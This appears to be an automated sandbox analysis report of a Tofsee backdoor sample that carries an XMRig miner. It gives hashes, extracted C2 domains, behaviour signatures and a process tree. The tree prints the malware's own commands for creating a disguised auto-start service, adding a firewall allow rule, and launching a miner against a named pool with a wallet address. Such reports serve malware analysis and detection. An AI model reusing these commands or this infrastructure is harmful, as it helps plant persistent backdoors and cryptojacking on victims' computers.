Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21/12/2022, 13:52

General

  • Target

    file.exe

  • Size

    229KB

  • MD5

    4c7ae68d71d1ca4e4cde4b9c566794e6

  • SHA1

    76df7370cee95c58febca75562c86b18a7c5be7a

  • SHA256

    ab7527783636982ff35deaa7760d37b9ba5a8d1a8fd4809f88d60b0e3943926a

  • SHA512

    e5ee1937ed5e51b54d0aba2b2240a4a6f8eee1aa5b7dc347de611d40551a0dad0e1ac72e6f12e04cafc8bfd84e8b5d8bb2a04bbf53a9109d31456abcb998d3b0

  • SSDEEP

    3072:yhs+fLoAocT5tsfK8DlwHpbCI1MxkNBbTv+C1oLW4P84nMcNQK1+eJV5u4z:rgLxWK6GJbL9ZtIW85MeRu4

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4404
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\hhesnxuf\
      2⤵
        PID:4888
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\rdmazvej.exe" C:\Windows\SysWOW64\hhesnxuf\
        2⤵
          PID:4948
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create hhesnxuf binPath= "C:\Windows\SysWOW64\hhesnxuf\rdmazvej.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3500
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description hhesnxuf "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:916
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start hhesnxuf
          2⤵
          • Launches sc.exe
          PID:4108
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4604
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4404 -s 1036
          2⤵
          • Program crash
          PID:116
      • C:\Windows\SysWOW64\hhesnxuf\rdmazvej.exe
        C:\Windows\SysWOW64\hhesnxuf\rdmazvej.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4580
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2464
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3820
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4580 -s 512
          2⤵
          • Program crash
          PID:1388
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 4404 -ip 4404
        1⤵
          PID:4752
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 4580 -ip 4580
          1⤵
            PID:3264

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\rdmazvej.exe

            Filesize

            13.6MB

            MD5

            cdd4eddcf50db175f8f4e3d726946f4f

            SHA1

            e7b9fc3778029bba65db533988018f3f82f76c5e

            SHA256

            e01f965951027e21ba0ca8d49749e68c30e524ddbf9abc4265040aed0ca02b8f

            SHA512

            1e349a2ff0bae74f8a5961f90ac05afc882168ab4c3bc37d419688e1cd0e8c1e6a1bb4c85761e3e8394627693f72fbf60d836b4b04e8f43976f7d1710daaf343

          • C:\Windows\SysWOW64\hhesnxuf\rdmazvej.exe

            Filesize

            13.6MB

            MD5

            cdd4eddcf50db175f8f4e3d726946f4f

            SHA1

            e7b9fc3778029bba65db533988018f3f82f76c5e

            SHA256

            e01f965951027e21ba0ca8d49749e68c30e524ddbf9abc4265040aed0ca02b8f

            SHA512

            1e349a2ff0bae74f8a5961f90ac05afc882168ab4c3bc37d419688e1cd0e8c1e6a1bb4c85761e3e8394627693f72fbf60d836b4b04e8f43976f7d1710daaf343

          • memory/2464-146-0x0000000000DC0000-0x0000000000DD5000-memory.dmp

            Filesize

            84KB

          • memory/2464-168-0x00000000023E0000-0x00000000023E7000-memory.dmp

            Filesize

            28KB

          • memory/2464-152-0x0000000000DC0000-0x0000000000DD5000-memory.dmp

            Filesize

            84KB

          • memory/2464-162-0x00000000023D0000-0x00000000023D5000-memory.dmp

            Filesize

            20KB

          • memory/2464-165-0x0000000007B80000-0x0000000007F8B000-memory.dmp

            Filesize

            4.0MB

          • memory/2464-159-0x0000000002340000-0x0000000002350000-memory.dmp

            Filesize

            64KB

          • memory/2464-151-0x0000000000DC0000-0x0000000000DD5000-memory.dmp

            Filesize

            84KB

          • memory/2464-156-0x0000000002330000-0x0000000002336000-memory.dmp

            Filesize

            24KB

          • memory/2464-153-0x0000000002C00000-0x0000000002E0F000-memory.dmp

            Filesize

            2.1MB

          • memory/3820-173-0x00000000004E2000-0x00000000004F6000-memory.dmp

            Filesize

            80KB

          • memory/3820-174-0x0000000000410000-0x0000000000501000-memory.dmp

            Filesize

            964KB

          • memory/4404-133-0x0000000000470000-0x0000000000483000-memory.dmp

            Filesize

            76KB

          • memory/4404-144-0x0000000000400000-0x0000000000463000-memory.dmp

            Filesize

            396KB

          • memory/4404-143-0x00000000004B3000-0x00000000004C4000-memory.dmp

            Filesize

            68KB

          • memory/4404-132-0x00000000004B3000-0x00000000004C4000-memory.dmp

            Filesize

            68KB

          • memory/4404-134-0x0000000000400000-0x0000000000463000-memory.dmp

            Filesize

            396KB

          • memory/4580-150-0x0000000000400000-0x0000000000463000-memory.dmp

            Filesize

            396KB

          • memory/4580-149-0x000000000066E000-0x000000000067E000-memory.dmp

            Filesize

            64KB